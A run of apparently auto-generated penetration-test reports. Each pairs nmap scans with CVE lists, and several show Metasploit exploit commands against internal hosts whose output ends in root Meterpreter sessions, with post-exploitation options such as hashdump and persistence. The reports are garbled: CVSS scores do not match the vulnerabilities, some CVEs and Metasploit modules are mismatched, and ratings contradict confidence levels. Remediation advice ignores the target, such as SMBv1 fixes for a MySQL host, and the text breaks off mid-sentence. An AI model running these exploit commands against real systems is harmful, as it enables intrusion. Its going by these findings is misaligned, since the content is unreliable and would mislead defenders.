(Amazon) 443/tcp open https nginx/1.18.0 (OpenSSL/1.1.1f) 8443/tcp open https Apache/2.4.41 (OpenSSL/1.1.1g) 8080/tcp open https nginx/1.18.0 (OpenSSL/1.1.1f) OS details: Linux 4.15.0-112-generic OS CPE: cpe:/o:linux:linux_kernel:4.15 Network Distance: 2 hops Service Info: Hostname: rest-api-gateway-01 Nmap done: 1 IP address (1 host up) scanned in 12 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2022-41040 (ProxyNotShell - Exchange as a REST endpoint proxy misuse) CVE: CVE-2022-41040 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.4) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.116.119.240 Result: Security vulnerability identified that could potentially compromise the REST API gateway. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2022-29263 (Kong Gateway - Incorrect Authorization) CVE: CVE-2022-29263 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.9) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.116.119.240 Result: Security vulnerability identified that could potentially compromise the REST API gateway. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 3: CVE-2021-22986 (F5 iControl REST - Auth Bypass and RCE) CVE: CVE-2021-22986 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.4) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.116.119.240 Result: Security vulnerability identified that could potentially compromise the REST API gateway. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/multi/handler; set RHOSTS 10.116.119.240; set RPORT 4444; exploit" Output: [*] Started reverse TCP handler on port 4444 [*] Attempting to exploit using multi/handler... [-] Exploit failed: Target is not vulnerable [*] Analysis: - Attempted to exploit known vulnerabilities: - CVE-2021-22986 (CVE-2021-22986) - CVE-2022-41040 (CVE-2022-41040) - CVE-2022-29263 (CVE-2022-29263) - Service may be patched or configuration differs from vulnerable state [*] Recommended next steps: - Verify payload compatibility (staged vs stageless) - Verify service version and patch level - Try manual exploitation techniques === Final Assessment === Overall Risk Rating: Medium Confidence Level: Low Confidence Rationale: Potential vulnerability identified through indirect indicators requiring further validation Key Findings: - 2 critical vulnerabilities identified - 2 high risk issues found - System configuration needs hardening Recommendations: 1. Implement parameterized queries, input validation, and use ORM frameworks with built-in protection. Consider using prepared statements with bind variables in all database interactions. For Java applications, use JPA/Hibernate criteria API instead of string concatenation. 2. Regenerate session IDs after login and implement proper session invalidation. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. Implement TLS 1.2+, encrypt data at rest using AES-256, and minimize data collection. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0034 Date: 2025-05-11 19:07:19 Tester: mchen Organization: Acme Security Confidentiality: STRICTLY CONFIDENTIAL Test Objective: conduct a comprehensive security assessment of the BIND DNS server (192.168.116.88) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=dns-recursion -p53,953 192.168.116.88 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 192.168.116.88 Host is up (0.20s latency). MAC Address: CE:F4:A8:00:4D:EA (Amazon) 53/tcp open domain ISC BIND 9.16.1 953/tcp open rndc ISC BIND 9.16.1 (remote name daemon controller) | dns-recursion: | Recursion appears to be enabled |_ Potential DNS amplification vulnerability OS details: Linux 4.15.0-112-generic OS CPE: cpe:/o:linux:linux_kernel:5.4 Service Info: Host: ns1.internal.corp; Domain: internal.corp Nmap done: 1 IP address (1 host up) scanned in 20 seconds === Vulnerability Assessment === Tools used: - Nmap with dns-nsid and fpdns scripts - ISC BIND vulnerability checks - DNS reconnaissance tools (dig, dnsrecon) ## Vulnerability 1: CVE-2021-25216 (SIG record parsing DoS) CVE: CVE-2021-25216 CVSS Score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (7.5) Primary Tool: Nmap dns-nsid script Test Method: nmap -sU -p53 --script=dns-nsid 192.168.116.88 Result: BIND 9.16.1 is vulnerable to denial of service via specially crafted SIG records. Attackers could crash the named process by sending malformed SIG records. Remediation: Upgrade to BIND 9.16.24 or later. Apply ISC patch for CVE-2021-25216. ## Vulnerability 2: CVE-2019-6477 (NXDOMAIN cache poisoning) CVE: CVE-2019-6477 CVSS Score: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N (5.9) Primary Tool: Manual testing with dig Test Method: dig @192.168.116.88 +short porttest.dns-oarc.net TXT Result: Server vulnerable to NXDOMAIN cache poisoning attacks due to insufficient randomization of query IDs when processing NXDOMAIN responses. Remediation: Upgrade to BIND 9.16.24 or later. Set 'nxdomain-redirect no;' === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use auxiliary/dos/dns/bind_nxdomain; set RHOSTS 192.168.116.88; exploit" Output: [*] Sending NXDOMAIN cache poisoning packets to 192.168.116.88:53 [+] Target appears vulnerable - malformed NXDOMAIN responses accepted [*] This could allow cache poisoning but no direct shell access Tool: dig (manual cache poisoning test) Command: dig @192.168.116.88 +short porttest.dns-oarc.net TXT Output: ;; Warning: ID mismatch: expected ID 12345, got 54321 ;; Warning: query response failed verification Result: Inconsistent query ID generation detected Analysis: - Confirmed NXDOMAIN handling vulnerability (CVE-2019-6477) - Confirmed SIG record parsing vulnerability (CVE-2021-25216) - No direct remote code execution possible - Potential for DNS cache poisoning and denial of service === Final Assessment === Overall Risk Rating: Medium Confidence Level: Medium Confidence Rationale: Vulnerability was identified through static analysis or behavioral patterns but not fully exploited Key Findings: - 2 critical vulnerabilities identified - 2 high risk issues found - System configuration needs hardening Recommendations: 1. Apply principle of least privilege, patch systems regularly, and monitor for suspicious activity. Conduct privilege audit using tools like BloodHound for AD or LinPEAS for Linux. Implement just-in-time access controls where possible. 2. Implement proper role-based access control (RBAC) with centralized authorization checks. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. 1. Disable SMBv1 protocol completely 2. Apply all Windows security updates immediately 3. Restrict SMB access to authorized networks only 4. Enable SMB signing to prevent man-in-the-middle attacks Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0035 Date: 2025-05-11 19:07:19 Tester: asmith Organization: CyberShield Inc Confidentiality: STRICTLY CONFIDENTIAL Test Objective: execute ethical hacking engagement against the Nginx web server (192.168.132.98) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p80,443 192.168.132.98 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 192.168.132.98 Host is up (0.48s latency). MAC Address: 16:72:F6:97:EF:4D (Amazon) 80/tcp open http nginx/1.18.0 443/tcp open http Apache/2.4.41 OS details: Linux 5.4.0-42-generic OS CPE: cpe:/o:linux:linux_kernel:5.4 Network Distance: 1 hops Service Info: Host: intranet.local Nmap done: 1 IP address (1 host up) scanned in 24 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2021-23017 (1-byte Memory Overwrite in DNS Resolver) CVE: CVE-2021-23017 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.8) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.132.98 Result: Security vulnerability identified that could potentially compromise the Nginx web server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2023-44487 (HTTP/2 Rapid Reset - DoS) CVE: CVE-2023-44487 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.8) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.132.98 Result: Security vulnerability identified that could potentially compromise the Nginx web server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 3: CVE-2022-41741 (Use-After-Free in ngx_http_proxy_module) CVE: CVE-2022-41741 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.9) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.132.98 Result: Security vulnerability identified that could potentially compromise the Nginx web server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/linux/http/nginx_backdoor; set RHOSTS 192.168.132.98; set RPORT 80; exploit" Output: [*] Started reverse TCP handler on port 80 [*] Attempting to exploit using linux/http/nginx_backdoor... [-] Exploit failed: Target is not vulnerable [*] Analysis: - Attempted to exploit known vulnerabilities: - CVE-2021-23017 (CVE-2021-23017) - CVE-2022-41741 (CVE-2022-41741) - CVE-2023-44487 (CVE-2023-44487) - Service may be patched or configuration differs from vulnerable state [*] Recommended next steps: - Research alternative exploits for the same service or pivot to other attack vectors - Verify service version and patch level - Try manual exploitation techniques === Final Assessment === Overall Risk Rating: Medium Confidence Level: Low Confidence Rationale: Potential vulnerability identified through indirect indicators requiring further validation Key Findings: - 4 critical vulnerabilities identified - 1 high risk issues found - System configuration needs hardening Recommendations: 1. Implement parameterized queries, input validation, and use ORM frameworks with built-in protection. Consider using prepared statements with bind variables in all database interactions. For Java applications, use JPA/Hibernate criteria API instead of string concatenation. 2. Apply context-sensitive output encoding and implement Content Security Policy (CSP) headers. Implement CSP with 'default-src none; script-src self; object-src none' as baseline. Report-URI directive should be configured for violation monitoring. 3. Regenerate session IDs after login and implement proper session invalidation. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0036 Date: 2025-05-11 19:07:19 Tester: rjohnson Organization: SecureNet Solutions Confidentiality: STRICTLY CONFIDENTIAL Test Objective: execute ethical hacking engagement against the Kubernetes API server (192.168.192.239) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p6443,10250,10255 192.168.192.239 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 192.168.192.239 Host is up (0.22s latency). MAC Address: 38:D0:13:CD:0F:73 (Amazon) 6443/tcp open https Apache/2.4.41 (OpenSSL/1.1.1g) 10250/tcp open https Apache/2.4.41 (OpenSSL/1.1.1g) 10255/tcp open https nginx/1.18.0 (OpenSSL/1.1.1f) OS details: Linux 5.10.0-0.bpo.5-amd64 OS CPE: cpe:/o:linux:linux_kernel:5.10 Network Distance: 2 hops Service Info: Hostname: kubernetes-api-server-01 Nmap done: 1 IP address (1 host up) scanned in 24 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2021-25735 (Privilege Escalation via Node Proxy Bypass) CVE: CVE-2021-25735 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.8) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.192.239 Result: Security vulnerability identified that could potentially compromise the Kubernetes API server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2020-8554 (MITM via External IPs or LoadBalancer) CVE: CVE-2020-8554 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.1) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.192.239 Result: Security vulnerability identified that could potentially compromise the Kubernetes API server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/linux/http/kubernetes_api_server_rce; set RHOSTS 192.168.192.239; set RPORT 6443; exploit" Output: [*] Exploiting known vulnerabilities: - CVE-2021-25735 (CVE-2021-25735) - CVE-2020-8554 (CVE-2020-8554) [*] Started reverse TCP handler on port 6443 [*] Sending payload... [*] Sending stage (283 bytes) [*] Meterpreter session 1 opened [*] Session established [*] Gained root access [*] Connected to 192.168.192.239 [*] Post-exploitation modules available: - container_escape - cluster_enum - deploy_pod === Final Assessment === Overall Risk Rating: Medium Confidence Level: Low Confidence Rationale: Potential vulnerability identified through indirect indicators requiring further validation Key Findings: - 3 critical vulnerabilities identified - 5 high risk issues found - System configuration needs hardening Recommendations: 1. Implement proper role-based access control (RBAC) with centralized authorization checks. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. Apply principle of least privilege, patch systems regularly, and monitor for suspicious activity. Conduct privilege audit using tools like BloodHound for AD or LinPEAS for Linux. Implement just-in-time access controls where possible. 3. Use prepared statements, input validation, and context-aware escaping for all interpreter contexts. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0037 Date: 2025-05-11 19:07:19 Tester: asmith Organization: CyberShield Inc Confidentiality: STRICTLY CONFIDENTIAL Test Objective: conduct red team assessment of the Nginx web server (192.168.146.179) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p80,443 192.168.146.179 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 192.168.146.179 Host is up (0.25s latency). MAC Address: 76:C3:19:2C:B2:F5 (Arista) 80/tcp open http nginx/1.18.0 443/tcp open http Apache/2.4.41 OS details: Linux 5.4.0-42-generic OS CPE: cpe:/o:linux:linux_kernel:5.4 Network Distance: 2 hops Service Info: Host: intranet.local Nmap done: 1 IP address (1 host up) scanned in 8 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2023-44487 (HTTP/2 Rapid Reset - DoS) CVE: CVE-2023-44487 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.2) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.146.179 Result: Security vulnerability identified that could potentially compromise the Nginx web server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2021-23017 (1-byte Memory Overwrite in DNS Resolver) CVE: CVE-2021-23017 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.1) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.146.179 Result: Security vulnerability identified that could potentially compromise the Nginx web server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 3: CVE-2022-41741 (Use-After-Free in ngx_http_proxy_module) CVE: CVE-2022-41741 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.9) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.146.179 Result: Security vulnerability identified that could potentially compromise the Nginx web server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/linux/http/nginx_backdoor; set RHOSTS 192.168.146.179; set RPORT 80; exploit" Output: [*] Exploiting known vulnerabilities: - CVE-2021-23017 (CVE-2021-23017) - CVE-2022-41741 (CVE-2022-41741) - CVE-2023-44487 (CVE-2023-44487) [*] Started reverse TCP handler on port 80 [*] Sending payload... [*] Sending stage (560 bytes) [*] Meterpreter session 8 opened [*] Session established [*] Gained www-data access [*] Connected to 192.168.146.179 [*] Post-exploitation modules available: - shell - php_eval - file_upload === Final Assessment === Overall Risk Rating: High Confidence Level: High Confidence Rationale: Vulnerability was verified through successful exploitation or unambiguous detection signatures Key Findings: - 4 critical vulnerabilities identified - 1 high risk issues found - System configuration needs hardening Recommendations: 1. Apply context-sensitive output encoding and implement Content Security Policy (CSP) headers. Implement CSP with 'default-src none; script-src self; object-src none' as baseline. Report-URI directive should be configured for violation monitoring. 2. Upgrade to latest SQL Server version and apply security patches. Disable obsolete TDS versions. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. Configure SQL Agent to run under least privileged account. Enable job step security. Conduct privilege audit using tools like BloodHound for AD or LinPEAS for Linux. Implement just-in-time access controls where possible. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0038 Date: 2025-05-11 19:07:19 Tester: jdoe Organization: VulnScan Experts Confidentiality: STRICTLY CONFIDENTIAL Test Objective: conduct red team assessment of the NFS server (192.168.153.192) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p2049,111 192.168.153.192 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 192.168.153.192 Host is up (0.51s latency). MAC Address: BA:74:75:49:85:F0 (Juniper) 2049/tcp open nfs unknown 111/tcp open nfs unknown OS details: Linux 4.15.0-112-generic OS CPE: cpe:/o:linux:linux_kernel:4.15 Network Distance: 1 hops Service Info: Hostname: nfs-server-01 Nmap done: 1 IP address (1 host up) scanned in 22 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2022-43945 (Linux Kernel NFSD vulnerability) CVE: CVE-2022-43945 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.4) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.153.192 Result: Security vulnerability identified that could potentially compromise the NFS server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2019-3689 (openSUSE NFS Access Log Info Disclosure) CVE: CVE-2019-3689 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.6) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.153.192 Result: Security vulnerability identified that could potentially compromise the NFS server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 3: CVE-2021-37600 (NFSv4 callback channel vulnerability) CVE: CVE-2021-37600 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.6) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.153.192 Result: Security vulnerability identified that could potentially compromise the NFS server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/multi/handler; set RHOSTS 192.168.153.192; set RPORT 4444; exploit" Output: [*] Exploiting known vulnerabilities: - CVE-2019-3689 (CVE-2019-3689) - CVE-2022-43945 (CVE-2022-43945) - CVE-2021-37600 (CVE-2021-37600) [*] Started reverse TCP handler on port 4444 [*] Sending payload... [*] Sending stage (230 bytes) [*] Meterpreter session 3 opened [*] Session established [*] Gained user access [*] Connected to 192.168.153.192 [*] Post-exploitation modules available: - hashdump - migrate - persistence === Final Assessment === Overall Risk Rating: High Confidence Level: High Confidence Rationale: Vulnerability was verified through successful exploitation or unambiguous detection signatures Key Findings: - 3 critical vulnerabilities identified - 5 high risk issues found - System configuration needs hardening Recommendations: 1. Enforce minimum 12-character passwords with complexity requirements and implement account lockout. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. Implement parameterized queries, input validation, and use ORM frameworks with built-in protection. Consider using prepared statements with bind variables in all database interactions. For Java applications, use JPA/Hibernate criteria API instead of string concatenation. 3. Use prepared statements, input validation, and context-aware escaping for all interpreter contexts. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0039 Date: 2025-05-11 19:07:19 Tester: asmith Organization: Pentest Professionals Confidentiality: STRICTLY CONFIDENTIAL Test Objective: evaluate attack surface of the MySQL database server (192.168.68.61) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p3306,33060 192.168.68.61 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 192.168.68.61 Host is up (0.59s latency). MAC Address: A6:38:A1:B3:B1:C8 (Cisco) 3306/tcp open mysql MySQL 5.7.31 33060/tcp open mysql MySQL 5.7.31 OS details: Linux 5.4.0-72-generic OS CPE: cpe:/o:linux:linux_kernel:5.4 Network Distance: 1 hops Service Info: Hostname: db-prod-01 Nmap done: 1 IP address (1 host up) scanned in 17 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2021-3719 (MySQL Optimizer Buffer Overflow) CVE: CVE-2021-3719 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.3) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.68.61 Result: Security vulnerability identified that could potentially compromise the MySQL database server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2023-21912 (Privilege Escalation via Information Schema) CVE: CVE-2023-21912 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.2) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.68.61 Result: Security vulnerability identified that could potentially compromise the MySQL database server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 3: CVE-2022-21595 (Pluggable Authentication Bypass) CVE: CVE-2022-21595 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.5) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.68.61 Result: Security vulnerability identified that could potentially compromise the MySQL database server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/linux/mysql/mysql_udf_payload; set RHOSTS 192.168.68.61; set RPORT 3306; exploit" Output: [*] Started reverse TCP handler on port 3306 [*] Attempting to exploit using linux/mysql/mysql_udf_payload... [-] Exploit failed: Target is not vulnerable [*] Analysis: - Attempted to exploit known vulnerabilities: - CVE-2021-3719 (CVE-2021-3719) - CVE-2023-21912 (CVE-2023-21912) - CVE-2022-21595 (CVE-2022-21595) - Service may be patched or configuration differs from vulnerable state [*] Recommended next steps: - Research alternative exploits for the same service or pivot to other attack vectors - Verify service version and patch level - Try manual exploitation techniques === Final Assessment === Overall Risk Rating: Medium Confidence Level: Low Confidence Rationale: Potential vulnerability identified through indirect indicators requiring further validation Key Findings: - 3 critical vulnerabilities identified - 1 high risk issues found - System configuration needs hardening Recommendations: 1. Enforce MFA, strong password policies, secure session management, and rate limiting. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. 1. Disable SMBv1 protocol completely 2. Apply all Windows security updates immediately 3. Restrict SMB access to authorized networks only 4. Enable SMB signing to prevent man-in-the-middle attacks Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. Validate and sanitize URLs, implement network segmentation, and use allowlists. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0040 Date: 2025-05-11 19:07:19 Tester: mchen Organization: CyberShield Inc Confidentiality: STRICTLY CONFIDENTIAL Test Objective: conduct red team assessment of the Apache web server (10.203.218.105) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p80,443,8080,8443 10.203.218.105 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 10.203.218.105 Host is up (0.25s latency). MAC Address: E2:C5:5B:39:3A:39 (Apple) 80/tcp open http nginx/1.18.0 443/tcp open http nginx/1.18.0 8080/tcp open http Apache/2.4.41 8443/tcp open http Apache/2.4.41 OS details: Linux 4.15.0-112-generic OS CPE: cpe:/o:linux:linux_kernel:4.15 Network Distance: 1 hops Service Info: Host: www.example.com Nmap done: 1 IP address (1 host up) scanned in 19 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2021-41773 (Path Traversal - Apache 2.4.49) CVE: CVE-2021-41773 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.0) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.203.218.105 Result: Security vulnerability identified that could potentially compromise the Apache web server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2021-42013 (RCE - Apache 2.4.50) CVE: CVE-2021-42013 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.4) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.203.218.105 Result: Security vulnerability identified that could potentially compromise the Apache web server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 3: CVE-2022-31813 (HTTP Response Smuggling - Apache HTTP Server) CVE: CVE-2022-31813 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.5) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.203.218.105 Result: Security vulnerability identified that could potentially compromise the Apache web server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/linux/http/apache_mod_cgi_bash_env_exec; set RHOSTS 10.203.218.105; set RPORT 80; exploit" Output: [*] Exploiting known vulnerabilities: - CVE-2021-42013 (CVE-2021-42013) - CVE-2021-41773 (CVE-2021-41773) - CVE-2022-31813 (CVE-2022-31813) [*] Started reverse TCP handler on port 80 [*] Sending payload... [*] Sending stage (421 bytes) [*] Meterpreter session 3 opened [*] Session established [*] Gained root access [*] Connected to 10.203.218.105 [*] Post-exploitation modules available: - shell - upload - download - screenshot === Final Assessment === Overall Risk Rating: Medium Confidence Level: Low Confidence Rationale: Potential vulnerability identified through indirect indicators requiring further validation Key Findings: - 4 critical vulnerabilities identified - 2 high risk issues found - System configuration needs hardening Recommendations: 1. Regenerate session IDs after login and implement proper session invalidation. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. Apply principle of least privilege, patch systems regularly, and monitor for suspicious activity. Conduct privilege audit using tools like BloodHound for AD or LinPEAS for 